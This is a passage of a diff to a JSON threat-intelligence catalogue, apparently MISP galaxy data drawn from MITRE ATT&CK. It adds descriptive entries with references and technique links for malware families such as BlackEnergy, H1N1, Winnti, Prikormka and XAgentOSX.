"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Kasidet" + "uuid": "26fed817-e7bf-41f9-829a-9075ffac45c2", + "value": "Kasidet - S0088" }, { - "description": "is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX[[Citation: XAgentOSX]][[Citation: Sofacy Komplex Trojan]].", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0162", - "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/", - "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + "external_id": "S0089", + "mitre_platforms": [ + "Windows" ], - "uuid": "75c79f95-4c84-4650-9158-510f0ce4831d" + "refs": [ + "https://attack.mitre.org/software/S0089", + "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + ], + "synonyms": [ + "BlackEnergy", + "Black Energy" + ] }, "related": [ { - "dest-uuid": "f108215f-3487-489d-be8b-80e346d32518", + "dest-uuid": "5a22cad7-65fa-4b7a-a7aa-7915a6101efa", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "82c644ab-550a-4a83-9b35-d545f4719069", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "value": "BlackEnergy - S0089" + }, + { + "description": "[H1N1](https://attack.mitre.org/software/S0132) is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)", + "meta": { + "external_id": "S0132", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0132", + "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities" + ], + "synonyms": [ + "H1N1" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "f8dfbc54-b070-4224-b560-79aaa5f835bd", + "value": "H1N1 - S0132" + }, + { + "description": "[ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)", + "meta": { + "external_id": "S0112", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0112", + "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html" + ], + "synonyms": [ + "ROCKBOOT" + ] + }, + "related": [ + { + "dest-uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "cba78a1c-186f-4112-9e6a-be1839f030f7", + "value": "ROCKBOOT - S0112" + }, + { + "description": "[Linfo](https://attack.mitre.org/software/S0211) is a rootkit trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)", + "meta": { + "external_id": "S0211", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0211", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + ], + "synonyms": [ + "Linfo" + ] + }, + "related": [ + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "value": "Linfo - S0211" + }, + { + "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)", + "meta": { + "external_id": "S0131", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0131", + "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + ], + "synonyms": [ + "TINYTYPHON" + ] + }, + "related": [ + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "85b39628-204a-48d2-b377-ec368cbcb7ca", + "value": "TINYTYPHON - S0131" + }, + { + "description": "[Prikormka](https://attack.mitre.org/software/S0113) is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)", + "meta": { + "external_id": "S0113", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0113", + "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + ], + "synonyms": [ + "Prikormka" + ] + }, + "related": [ + { + "dest-uuid": "67ade442-63f2-4319-bdcd-d2564b963ed6", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "value": "Prikormka - S0113" + }, + { + "description": "[YiSpecter](https://attack.mitre.org/software/S0311) iOS malware that affects both jailbroken and non-jailbroken iOS devices. It is also unique because it abuses private APIs in the iOS system to implement functionality. (Citation: PaloAlto-YiSpecter)", + "meta": { + "external_id": "S0311", + "refs": [ + "https://attack.mitre.org/software/S0311", + "https://researchcenter.paloaltonetworks.com/2015/10/yispecter-first-ios-malware-attacks-non-jailbroken-ios-devices-by-abusing-private-apis/" + ], + "synonyms": [ + "YiSpecter" + ] + }, + "related": [ + { + "dest-uuid": "51aedbd6-2837-4d15-aeb0-cb09f2bf22ac", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "a15c9357-2be0-4836-beec-594f28b9b4a9", + "value": "YiSpecter - S0311" + }, + { + "description": "[BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that targets Windows operating systems. It has been used by threat actors that target the financial sector. (Citation: MTrends 2016)", + "meta": { + "external_id": "S0114", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0114", + "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf" + ], + "synonyms": [ + "BOOTRASH" + ] + }, + "related": [ + { + "dest-uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "da2ef4a9-7cbe-400a-a379-e2f230f28db3", + "value": "BOOTRASH - S0114" + }, + { + "description": "[Winnti](https://attack.mitre.org/software/S0141) is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, [Winnti Group](https://attack.mitre.org/groups/G0044); however, reporting indicates a second distinct group, [Axiom](https://attack.mitre.org/groups/G0001), also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015)", + "meta": { + "external_id": "S0141", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0141", + "https://securelist.com/winnti-more-than-just-a-game/37029/", + "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/", + "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf" + ], + "synonyms": [ + "Winnti" + ] + }, + "related": [ + { + "dest-uuid": "9b3a4cff-1c5a-4fd6-b49c-27240b6d622c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "7f8166e2-c7f4-4b48-a07b-681b61a8f2c1", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d3afa961-a80c-4043-9509-282cdf69ab21", + "value": "Winnti - S0141" + }, + { + "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)", + "meta": { + "external_id": "S0151", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0151", + "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + ], + "synonyms": [ + "HALFBAKED" + ] + }, + "related": [ + { + "dest-uuid": "2815a353-cd56-4ed0-8581-812b94f7a326", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "71ac10de-1103-40a7-b65b-f97dab9769bf", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "0ced8926-914e-4c78-bc93-356fb90dbd1f", + "value": "HALFBAKED - S0151" + }, + { + "description": "[Crimson](https://attack.mitre.org/software/S0115) is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016)", + "meta": { + "external_id": "S0115", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0115", + "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + ], + "synonyms": [ + "Crimson", + "MSIL/Crimson" + ] + }, + "related": [ + { + "dest-uuid": "8d8efbc6-d1b7-4ec8-bab3-591edba337d0", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "858edfb8-793a-430b-8acc-4310e7d2f0d3", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "a61fc694-a88a-484d-a648-db35b49932fd", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "value": "Crimson - S0115" + }, + { + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) is a trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be a port of their standard [CHOPSTICK](https://attack.mitre.org/software/S0023) or XAgent trojan. (Citation: XAgentOSX)", + "meta": { + "external_id": "S0161", + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0161", + "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + ], + "synonyms": [ + "XAgentOSX" + ] + }, + "related": [ + { + "dest-uuid": "5930509b-7793-4db9-bdfc-4edda7709d0d", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "59a97b15-8189-4d51-9404-e1ce8ea4a069", + "value": "XAgentOSX - S0161" + }, + { + "description": "[Felismus](https://attack.mitre.org/software/S0171) is a modular backdoor that has been used by [Sowbug](https://attack.mitre.org/groups/G0054). (Citation: Symantec 